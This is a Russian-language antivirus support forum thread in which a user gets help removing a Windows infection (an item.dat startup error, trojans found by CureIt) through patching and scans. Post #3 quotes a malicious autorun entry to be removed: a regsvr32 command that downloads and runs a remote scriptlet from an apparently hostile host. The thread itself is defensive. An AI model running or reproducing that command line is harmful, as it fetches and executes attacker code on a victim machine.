Перейти к содержимому


Фото
- - - - -

возникла ошибка при запуске item.dat


  • Закрыто Тема закрыта
7 ответов в этой теме

#1 birds

birds

    Newbie

  • Posters
  • 3 Сообщений:

Отправлено 14 Март 2019 - 23:06

после загрузки системы возникает ошибка "возникла проблема при запуске c:\windows\debug\item.dat

в хроме при запуске открывается about:blank (при настройке Ранее открытые вкладки)

 

 

 

Прикрепленные файлы:



#2 Dr.Robot

Dr.Robot

    Poster

  • Helpers
  • 2 681 Сообщений:

Отправлено 14 Март 2019 - 23:06

1. Если Вы подозреваете у себя на компьютере вирусную активность и хотите получить помощь в этом разделе,

Вам необходимо кроме описания проблемы приложить к письму логи работы трёх программ - сканера Dr. Web (или CureIt!, если антивирус Dr. Web не установлен на Вашем ПК), Hijackthis и DrWeb SysInfo. Где найти эти программы и как сделать логи описано в Инструкции. Без логов помочь Вам не сможет даже самый квалифицированный специалист.

2. Если у Вас при включении компьютера появляется окно с требованием перечислить некоторую сумму денег и при этом блокируется доступ к рабочему столу,

- попытайтесь найти коды разблокировки здесь https://www.drweb.com/xperf/unlocker/
- детально опишите как выглядит это окно (цвет, текст, количество кнопок, появляется ли оно до появления окна приветствия Windows или сразу же после включении компьютера);
- дождаться ответа аналитика или хелпера;

3. Если у Вас зашифрованы файлы,

Внимание! Услуга по расшифровке файлов предоставляется только лицензионным пользователям продуктов Dr.Web, у которых на момент заражения была установлена коммерческая лицензия Dr.Web Security Space не ниже версии 9.0, Антивирус Dr.Web для Windows не ниже версии 9.0 или Dr.Web Enterprise Security Suite не ниже версии 6.0. подробнее.

Что НЕ нужно делать:
- лечить и удалять найденные антивирусом вирусы в автоматическом режиме или самостоятельно. Можно переместить всё найденное в карантин, а после спросить специалистов или не предпринимать никаких действий, а просто сообщить название найденных вирусов;
- переустанавливать операционную систему;
- менять расширение у зашифрованных файлов;
- очищать папки с временными файлами, а также историю браузера;
- использовать самостоятельно без консультации с вирусным аналитиком Dr. Web дешифраторы из "Аптечки сисадмина" Dr. Web;
- использовать дешифраторы рекомендуемые в других темах с аналогичной проблемой.

Что необходимо сделать:
- прислать в вирусную лабораторию Dr. Web https://support.drweb.com/new/free_unlocker/?keyno=&for_decode=1 несколько зашифрованных файлов и, если есть, их не зашифрованные копии в категорию Запрос на лечение. Дожидаться ответа на Вашу почту вирусного аналитика и далее следовать его указаниям ведя с ним переписку по почте. На форуме рекомендуется указать номер тикета вирлаба - это номер Вашего запроса, содержащий строку вида [drweb.com #3219200];


4. При возникновении проблем с интернетом, таких как "не открываются сайты", в браузерах появляются картинки с порно или рекламным содержанием там, где раньше ничего подобного не было, появляются надписи типа "Содержание сайта заблокировано" и пр. нестандартные уведомления необходимо выложить дополнительно к логам из п.1 лог команды ipconfig


Для этого проделайте следующее:

  • Зайдите в меню Пуск на Рабочем столе, вызовите в нем окно команды Выполнить...
  • В появившемся окне наберите cmd и нажмите клавишу <Enter>. Появится черное окно консоли (интерпретатора команд).
  • Напишите в этом черном окне команду ipconfig /all>"%userprofile%\ipc.log" и нажмите клавишу <Enter>, затем наберите там же команду explorer.exe /select,"%userprofile%\ipc.log" и нажмите клавишу <Enter>, нужный файл будет показан в Проводнике Windows.
  • Приложите этот файл к своему сообщению на форуме.
Чтобы не сделать ошибок в написании команд, можно скопировать эти команды отсюда и последовательно вставлять в черное окно консоли путем выбора пункта Вставить из меню, появляющегося при нажатии правой кнопки мыши в черном окне консоли.



#3 provayder

provayder

    Poster

  • Posters
  • 1 620 Сообщений:

Отправлено 15 Март 2019 - 00:41

Фикс это

O4 - HKLM\..\Run: [start] regsvr32 /u /s /i:http://js.1226bye.xyz:280/v.sctscrobj.dll



#4 AndreyKa

AndreyKa

    Advanced Member

  • Posters
  • 661 Сообщений:

Отправлено 15 Март 2019 - 01:11

Обновления безопасности надо на Windows ставить.



#5 birds

birds

    Newbie

  • Posters
  • 3 Сообщений:

Отправлено 16 Март 2019 - 18:24

Обновления безопасности установил, запустил cureit, обнаружено 11 инфицированных файлов лог не сохранил(см. ниже), далее перезагрузка, после приветствия - черный экран, в безопасном режиме запустил, быстрая проверка ничего не найдено, перезагрузка, винда не загружается, черный экран

Из найденных были: trojan.dnschange.10846
Trojan.ntRootKit.19689 и еще несколько, которых нет в базе Др.Вэба(названия посмотрел в истории браузера в Сейфмоде, тк при проверке кликал и смотрел о них в базе)

Опять загрузился в безопасном режиме, последняя точка восстановления была создана центром обновлений вчера при установке патчей безопасности, восстановился, ошибка item.dat на месте, остальное наверное тоже, что делать дальше, хочется побороть заразу.

#6 AndreyKa

AndreyKa

    Advanced Member

  • Posters
  • 661 Сообщений:

Отправлено 16 Март 2019 - 19:11

Установите только одно обновление:

http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.1-kb4012212-x64_2decefaa02e2058dcd965702509a992d8c4e92b3.msu

Перезагрузите компьютер.

Панель управления - Система - Защита системы - кнопка Создать ... (точку восстановления).

Запустите проверку CureIt



#7 Eugen Engelhardt

Eugen Engelhardt

    Member

  • Dr.Web Staff
  • 428 Сообщений:

Отправлено 16 Март 2019 - 22:48

birds, Вам нужно воспользоваться именно Dr.Web LiveDisk'ом http://www.freedrweb.com/livedisk/


With best regards, Eugen Engelhardt
Doctor Web, Ltd.

#8 birds

birds

    Newbie

  • Posters
  • 3 Сообщений:

Отправлено 17 Март 2019 - 19:04

Поставил кб4012212, проверил весь нжмд и все свои флешки за раз, было обнаружено около 300 инфицированных экзешников, cureit все полечил, повторно просканировал-пусто.

Всем откликнувшимся спасибо, отдельная благодарность ув. AndreyKa




Читают тему: 0

0 пользователей, 0 гостей, 0 скрытых